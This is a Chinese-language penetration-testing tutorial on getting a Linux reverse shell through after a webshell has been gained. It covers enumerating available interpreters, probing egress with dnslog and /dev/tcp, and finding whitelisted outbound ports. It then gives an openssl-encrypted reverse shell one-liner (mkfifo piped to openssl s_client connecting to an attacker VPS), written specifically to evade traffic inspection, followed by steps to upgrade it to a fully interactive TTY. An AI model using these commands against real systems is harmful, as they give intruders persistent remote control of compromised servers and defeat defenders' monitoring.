0x00前言
有時候擷取到目标webshell但是想要進一步反彈擷取全互動式shell,來對目标伺服器進行指令操作,然而經常遇到直接反彈shell不成;
此文将針對linux反彈shell受阻的原因、排查順序流程,以及可突破的限制,到最後擷取全互動式shell的整個流程來梳理。
假如使用bash反彈不成功:
0x01原因一:指令不存在
我們先來看哪些反彈指令是可用的,哪些指令存在:
whereis nc bash python php exec perl ruby java telnet lua
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcuczM1ADN3ATM00COxcTMyUzM1EjMwgDMwIDMy0SO1ADM0cTMvwFOwAjMwIzLclTNwADN3EzLcd2bsJ2Lc12bj5ycn9Gbi52YuAjMwIzZtl2Lc9CX6MHc0RHaiojIsJye.png)
可以發現bash指令是可用的,隻有ruby和lua相關指令不可用;
如果這裡bash不可用,那麼換種可用的指令反彈即可。然而bash可用不成功,那麼繼續分析。
0x02原因二:是否通外網
直接用ping指令探測即可,配合dnslog或者直接看回顯情況:
申請個随機域名:
目标使用ping指令:
ping -c 1 v8nwzi.dnslog.cn
這樣表示通外網,允許出口流量;但是反彈還是受阻,繼續分析。
0x03原因三:目标出站端口受限
目标伺服器網絡邊緣部署了防火牆,設定了出站規則,給出站的端口設定了白名單。
這裡隻要端口屬于白名單内的即可,一般的話,DNS 的 53、HTTP 服務的預設端口 80、HTTPS 的 443 是三個最常見的出站端口,一般最有可能在白名單内,可一一嘗試。
當然如果白名單設定得很死,都不是常用端口的話,我們就得使用目标系統自帶的curl、telnet、wget等指令來進行出站端口探測。
例如 curl www.baidu.com:80
有正确回顯代表可通80,沒有或者等待逾時代表不通80端口。當然這得用自己的vps來捆綁開放大量端口來友善檢測。
例如vps開放1234端口,目标伺服器使用端口探測探測此端口失敗,那麼表示不出1234端口,如果探測成功,表示可出1234端口,即可用1234端口來進行反彈shell。
當然真實情況可能遇到目标權限低,且curl、telnet、wget等這幾個可探測端口的指令都沒有,那麼可以使用如下指令來探測:
echo > /dev/tcp/www.baidu.com/80
如果瞬間執行完成代表可出80,如果執行後一直等待,那麼代表不出80.
這裡測試了一下,我的目标機用443 bash反彈成功,但是連接配接一會兒執行指令馬上就斷了,應該就是流量審查的原因了,繼續分析。
0x04原因四:目标存在流量審查機制
有些伺服器存在流量審查機制,就算反彈成功了,馬上就會掉線;一般審查到的都是明文流量資料,那麼隻要将反彈流量用openssl加密,即可防止流量檢測。
1、在vps上生成ssl證書的公鑰/私鑰對:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
到了選擇直接全部回車。
2、vps使用openssl監聽一個接收shell的端口:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
3、目标上用openssl加密反彈shell的流量:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xx.xx.xx:443 > /tmp/s; rm /tmp/s
vps的ip為:47.xx.xx.xx
此時vps即可接收到加密的半互動式shell(啞shell)
0x05轉換為全互動式shell
啞shell,ctrl-c 中斷 getshell 會話、無法檢視文法高亮、無法執行互動式指令、無法檢視錯誤輸出、無法使用 tab 指令補全、無法操控 job、無法檢視指令曆史。
轉為全互動式shell:
1、在啞shell中執行:
$ python -c 'import pty; pty.spawn("/bin/bash")'
2、鍵入 Ctrl-Z,回到 VPS 的指令行中;在 VPS 中執行:
$ stty raw -echo
$ fg (不會顯示,敲了直接一直回車)
此時已經為互動式shell了,但是有的shell顯示有問題,如果沒問題可不進行以下步驟。
3、回到啞 shell 中,在啞 shell 中鍵入 Ctrl-L,執行:
$ reset (敲指令不顯示就直接敲了回車)
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104
這樣就得到了功能齊全的互動式shell 了。
參考連結:
https://www.freebuf.com/vuls/211847.html